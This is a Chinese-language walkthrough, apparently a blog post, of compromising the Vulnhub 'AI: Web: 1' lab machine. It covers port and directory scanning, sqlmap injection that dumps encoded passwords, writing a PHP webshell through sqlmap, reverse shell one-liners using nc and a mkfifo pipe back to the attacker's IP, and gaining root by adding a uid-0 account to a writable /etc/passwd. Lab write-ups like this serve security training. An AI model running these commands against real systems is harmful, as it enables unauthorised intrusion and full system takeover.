Vulnhub靶机渗透之 AI: Web: 1

靶机下载地址:AI:Web:1

Description:

Difficulty: Intermediate

Network: DHCP (Automatically assign)

Network Mode: NAT

This box is designed to test skills of penetration tester. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root. For any hint please tweet on @arif_xpress

目标是从 /root/flag.txt 获取flag,获得低权限的 shell,然后将权限提升到 root。

实验环境:

攻击机:kali2021(192.168.0.13/24,vmnet0)

靶机:(MAC地址为00:0C:29:93:FE:B3,vmnet0)

信息收集阶段:

靶机IP地址:

nmap -sP 192.168.0.1/24  -oN nmap.sP(得到靶机IP地址为192.168.0.17)

 靶机开放端口:

nmap -A 192.168.0.17 -p- -oN nmap.A

 发现靶机开放了80端口

接下来访问其网页,查看有没有可用信息,截图如下:

发现Not even Google search my contents!(谷歌浏览器不能查询内容,其实我用的是火狐也不能访问其网站内容)

接下来用御剑扫描此网站目录

网站目录扫描:

 这里我使用kali自带网站扫描工具dirb,命令如下:

dirb http://192.168.0.17

看到其他人的渗透过程发现,nikto也可以对网站进行扫描

nikto -h http://10.10.10.34    

由上面的扫描结果可知,存在目录index.html,robots.txt,server-status

访问/robots.txt得知:

 访问:/m3diNf0/ 和 /se3reTdir777/uploads/都是forbidden,尝试访问 /se3reTdir777/,界面如下:

 在框中输1和2,分别得到:

 怀疑存在SQL注入

敏感目录扫描

m3diNf0 目录

 发现http://192.168.0.17/m3diNf0/info.php

访问得知:

我们找到了站点在服务器的绝对路径

DOCUMENT_ROOT/home/www/html/web1x443290o2sdf92213

漏洞映射

 SQL注入:

这里采用sqlmap工具注入方法:

sqlmap注入:

首先对此网页抓包,看有没有可用参数(发现uid和Operation)

 ①  sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit",发现存在SQL注入,且可用以下方法注入

 ②爆数据库名: sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" --current-db
得知当前数据库为aiweb1

 

 ③爆表名: sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" --tables
发现存在user和systemUser表

 

 ④爆user表字段(sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" -T "user" --dump)

⑤爆systemUser表字段(sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" -T "systemUser" --dump)
弹出来的两个提示都填N

Database: aiweb1
Table: systemUser
[3 entries]
+----+----------------------------------------------+-----------+
| id | password                                     | userName  |
+----+----------------------------------------------+-----------+
| 1  | RmFrZVVzZXJQYXNzdzByZA==                     | t00r      |
| 2  | TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ== | aiweb1pwn |
| 3  | TjB0VGhpczBuZUFsczA=                         | u3er      |
+----+----------------------------------------------+-----------+

可以看出password字段被base64加密过了,解码后得到原密码,但是服务器的3306端口没有对外开放,也不清楚这用户名和密码意味着什么。暂时还没有利用的点。

之前robots文件还有两个目录,对那两个目录dirb一下,发现m3diNf0目录下有一个info.php,打开一看原来是PHP的配置文件。

现在我们找到了站点在服务器的绝对路径!

/home/www/html/web1x443290o2sdf92213

既然知道了绝对路径当然要试一下sqlmap拿Shell啦,但是网站的绝对路径拿shell失败,终于将绝对路径改为uploads后拿到了shell

注:
sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell(可以利用--os-shell执行系统命令),弹出来的提示分别选4(php),回车,2,/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/(写路径)

现在通过sqlmap就获取到了一个shell(得益于这个目录具有可写权限)

 sqlmap写入一句话木马

 1、写一句话木马(参考:sqlmap写入一句话木马

2、写入文件

sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./yjh.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php

--file-write:去读取文件(当前目录下的yjh.php)
--file-dest:后面加我们向目标写的文件,目标在/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/,我们把这个文件上传到shell.php这个地址
现在我们就在uploads这个命令下写好了shell.php文件

 

访问192.168.0.17/se3reTdir777/uploads/shell.php发现是一片空白,就说明写成功了!

蚁剑直接连接即可

 反弹shell

①kali本地监听:nc -lvvp 6666(或者nc -lnvp)

②蚁剑终端上nc反弹:nc -e /bin/bash 192.168.0.13 6666(发现-e参数不可用)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.13 6666 >/tmp/f

 提权

反弹shell成功后whoami查看是www-data权限,echo $0发现是/bin/sh

进入交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'

思路1、sudo -l(查看有没有一些命令在执行期间有root权限标签没有密码保护——Not found)
发现需要密码

思路2、查看有没有一些具有suid权限的命令

find / -perm -4000 2>/dev/null

发现很多命令在执行期间都有suid权限

 查看开放端口:

 发现开放了3306端口,但是只有本地能登录

思路3:在交互式shell下输入命令uname -a查看内核版本,当前版本号是4.15.0-58-generic,我们就可以去看一下有没有内核漏洞

searchsploit linux kernel 4.15.0-58-generic,发现没有结果
searchsploit linux kernel 4.15.0,可以看到好几个做本地提权的

我们看看目标环境有没有gcc环境,没有,我们就尽量不要上传.c文件提取

 下面的提权过程我不会,参考:AJEST(我的启蒙老师,哈哈哈哈膜拜!)

查看当前用户读写权限

查看当前系统里面具有可写权限的目录有哪些:find / -writable -type d 2>/dev/null
查看哪些文件具有读写权限:find / -writable -type f 2>/dev/null

www-data@aiweb1:/etc$ find / -writable -type d 2>/dev/null
find / -writable -type d 2>/dev/null
/tmp
/run/screen
/run/lock
/run/lock/apache2
/dev/mqueue
/dev/shm
/var/tmp
/var/crash
/var/lib/php/sessions
/var/lib/lxcfs/proc
/var/lib/lxcfs/cgroup
/var/cache/apache2/mod_cache_disk
/proc/1998/task/1998/fd
/proc/1998/fd
/proc/1998/map_files
/home/www/html/web1x443290o2sdf92213
/home/www/html/web1x443290o2sdf92213/se3reTdir777
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads
/home/www/html/web1x443290o2sdf92213/m3diNf0

www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ find / -writable -type f 2>/dev/null

将find查询结果保存: find / -writable -type f 2>/dev/null > /tmp/writableFiles
我们在蚁剑的/tmp目录就可以看到writableFiles文件,download下来

wc -l writableFiles 可以看到这个文件有5932行

过滤有用文件(下面我看不太懂)
cat writableFiles | grep '^/[^p]' | grep '^/[^s],过滤掉以p和s开头的文件

www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ grep "^/[^proc]" writableFiles | grep '^/[^s]'
<ads$ grep "^/[^proc]" writableFiles | grep '^/[^s]'
/tmp
/dev/mqueue
/dev/shm
/var/tmp
/var/crash
/var/lib/php/sessions
/var/lib/lxcfs/proc
/var/lib/lxcfs/cgroup
/var/cache/apache2/mod_cache_disk
/home/www/html/web1x443290o2sdf92213
/home/www/html/web1x443290o2sdf92213/se3reTdir777
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads
/home/www/html/web1x443290o2sdf92213/m3diNf0
/var/backups/passwd.bak
/home/www/html/web1x443290o2sdf92213/robots.txt
/home/www/html/web1x443290o2sdf92213/se3reTdir777/index.php
/home/www/html/web1x443290o2sdf92213/se3reTdir777/c0nFil3bd.php
/home/www/html/web1x443290o2sdf92213/se3reTdir777/jquery-1.7.2.js
/home/www/html/web1x443290o2sdf92213/se3reTdir777/style-main.css
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/writableFiles
/home/www/html/web1x443290o2sdf92213/m3diNf0/info.php
/home/www/html/web1x443290o2sdf92213/index.html
/etc/passwd-
/etc/passwd

觉得c0nFil3bd.php这个文件可疑,看看是什么

我们还发现/etc/passwd文件,具有写权限

 可以添加waffle::0:0:root:/root:/bin/bash,这个账号是没有密码的,但是sudo发现密码验证失败,我们就去生成一个密码:

 生成Linux 系统用户密钥

┌──(root💀mi)-[~]
└─# python
Python 2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import crypt
>>> crypt.crypt("123456","waffle")
'waiAeFsWwdWZw'
>>>

读写/etc/passwd 文件。

root:x:0:0:root:/root:/bin/bash

...

waffle:waiAeFsWwdWZw:0:0:root:/root:/bin/bash

查看flag

root@aiweb1:/# cat /root/flag.txt
cat /root/flag.txt
####################################################
#                                                  #
#                AI: WEB 1.0                       #
#                                                  #
#              Congratulation!!!                   #
#                                                  #
#      Thank you for penetrate my system.          #
#                                                  #
#            Hope you enjoyed this.                #
#                                                  #
#                                                  #
#  flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}  #
#                                                  #
####################################################
root@aiweb1:/#

  • 0
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值